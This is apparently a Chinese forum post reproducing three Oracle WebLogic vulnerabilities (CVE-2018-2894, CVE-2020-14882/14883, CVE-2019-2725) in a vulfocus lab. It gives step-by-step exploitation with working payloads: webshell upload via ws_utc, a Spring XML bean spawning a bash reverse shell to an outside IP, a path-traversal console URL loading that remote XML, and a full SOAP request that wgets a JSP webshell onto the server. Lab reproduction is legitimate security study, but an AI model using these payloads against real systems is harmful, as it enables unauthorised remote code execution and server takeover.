Weblogic部分漏洞复现
weblogic文件上传漏洞(CVE-2018-2894)
简介
CVE-2018-2894 是 Oracle WebLogic Server 中的 任意文件上传漏洞,它存在于 ws_utc 组件(Web Services Test Client)。攻击者可以利用该漏洞,在服务器上 上传任意文件(如 JSP WebShell),最终导致 远程代码执行(RCE),甚至获取服务器的控制权。
影响版本
- 10.3.6.0
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
复制代码 受影响组件:ws_utc
WebLogic 的 ws_utc 组件 是一个 Web Service 测试工具,通常用于 Web 服务开发者调试 WebLogic 的 Web Service。
默认情况下,它的访问地址是:- http://[WebLogic_IP]:[PORT]/ws_utc/begin.do
复制代码 该组件提供了 文件上传功能,用于 Web Service 测试配置,然而由于 缺乏访问控制 和 文件格式校验,导致攻击者可以 上传任意文件。
ws_utc 组件的功能
ws_utc 组件主要用于 测试 WebLogic 的 Web Services,它包含两个核心页面:
- begin.do:用于加载 Web Service 测试界面
- config.do:用于 上传 Web Service 配置文件(可上传 .xml 文件)
关键的漏洞点
(1)未授权访问
- ws_utc 组件默认情况下是 开放访问的,并 不需要身份验证(即无需 WebLogic 管理员权限)。
- 任何用户都可以直接访问:
- http://[WebLogic_IP]:[PORT]/ws_utc/config.do
复制代码 (2)任意文件上传
- config.do页面提供了 上传 XML 配置文件的功能,但:
- 该接口 没有严格的文件类型校验
- 允许上传 非 XML 文件
- 可上传 .jsp、.war 等 可执行文件
- 由于 WebLogic 服务器 会自动解析 JSP 文件,攻击者可以上传 恶意 JSP WebShell,从而 执行任意代码。
漏洞复现
这边使用vulfocus靶场进行复现
访问/ws_utc/config.do
设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后在安全 -添加功能 ,上传jsp木马
点击提交并抓包,获取响应数据包中的时间戳
然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
weblogic远程代码执行漏洞(CVE-2020-14883)
简介
CVE-2020-14883 是 Oracle WebLogic Server 中的一个 远程代码执行(RCE)漏洞,属于 未授权访问漏洞,可用于获取 WebLogic 管理权限。攻击者利用该漏洞可以远程执行恶意代码,最终导致服务器被控制。
影响版本
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
- 14.1.1.0.0
复制代码 漏洞组件
该漏洞影响 WebLogic Server 的 Console 组件(管理控制台),该组件通常用于 WebLogic 的管理操作,默认访问路径为:- http://[WebLogic_IP]:[PORT]/console/
复制代码 在某些情况下,该组件对 未授权用户 仍然开放,导致攻击者可以绕过身份验证,执行管理命令。
漏洞核心点
- 身份验证绕过:
WebLogic Console 存在 未授权访问漏洞,攻击者可以在 无需管理员认证 的情况下直接访问某些管理 API。
- 远程命令执行(RCE):
由于 WebLogic Console 允许执行 Java MBean 相关操作,攻击者可以利用某些 MBean 组件远程执行代码。
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:- http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
复制代码 这条请求利用了 路径遍历(URL 编码绕过) 方式访问 console.portal 组件,导致 无需认证 直接进入 WebLogic 管理控制台。
编写poc rce.xml- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans
- http://www.springframework.org/schema/beans/spring-beans.xsd">
- <bean id="pb" init-method="start">
- <constructor-arg>
- <list>
- <value>/bin/bash</value>
- <value>-c</value>
- <value><![CDATA[bash -i &> /dev/tcp/192.168.41.128/5555 0<&1]]></value>
- </list>
- </constructor-arg>
- </bean>
- </beans>
复制代码 虚拟机上开启一个py服务- python -m http.server 8888
复制代码 然后监听本机的5555端口然后访问urlhttp://1923.58.224.8:18992/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.41.128:8888/rce.xml")
即可建立反弹链接
Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)
简介
CVE-2019-2725 是 Oracle WebLogic Server 反序列化远程代码执行漏洞,主要影响 WebLogic 的 XMLDecoder 组件,攻击者可以利用该漏洞在未授权的情况下远程执行任意代码。由于 WebLogic Server 默认开启了 Web 服务,这使得该漏洞可以通过远程方式被利用,危害极大。
影响版本
漏洞组件
该漏洞的主要成因是 WebLogic 的 wls9_async_response 和 wls-wsat 组件在处理 XML 反序列化数据时存在不安全的对象反序列化逻辑,导致攻击者可通过构造恶意的 XML 请求,从而实现远程代码执行(RCE)。
漏洞复现
- 访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞
复制代码
构造如下poc- POST /_async/AsyncResponseService HTTP/1.1
- Host: 123.58.224.8:21326
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- Connection: close
- Content-Length: 929
- Accept-Encoding: gzip, deflate
- SOAPAction:
- Accept: */*
- User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
- Connection: keep-alive
- content-type: text/xml
- <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
- xmlns:asy="http://www.bea.com/async/AsyncResponseService">
- <soapenv:Header>
- <wsa:Action>xx</wsa:Action>
- <wsa:RelatesTo>xx</wsa:RelatesTo>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <void >
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>wget http://192.168.41.136:8888/newshell.jsp.txt -O /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/newshell.jsp
- </string>
- </void>
- </array>
- <void method="start"/></void>
- </work:WorkContext>
- </soapenv:Header><soapenv:Body>
- </soapenv:Body></soapenv:Envelope>
复制代码
上传成功后用哥斯拉连接就好
不知道路径的可以访问- /_async/AsyncResponseService?info
复制代码
复制蓝色部分就好
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |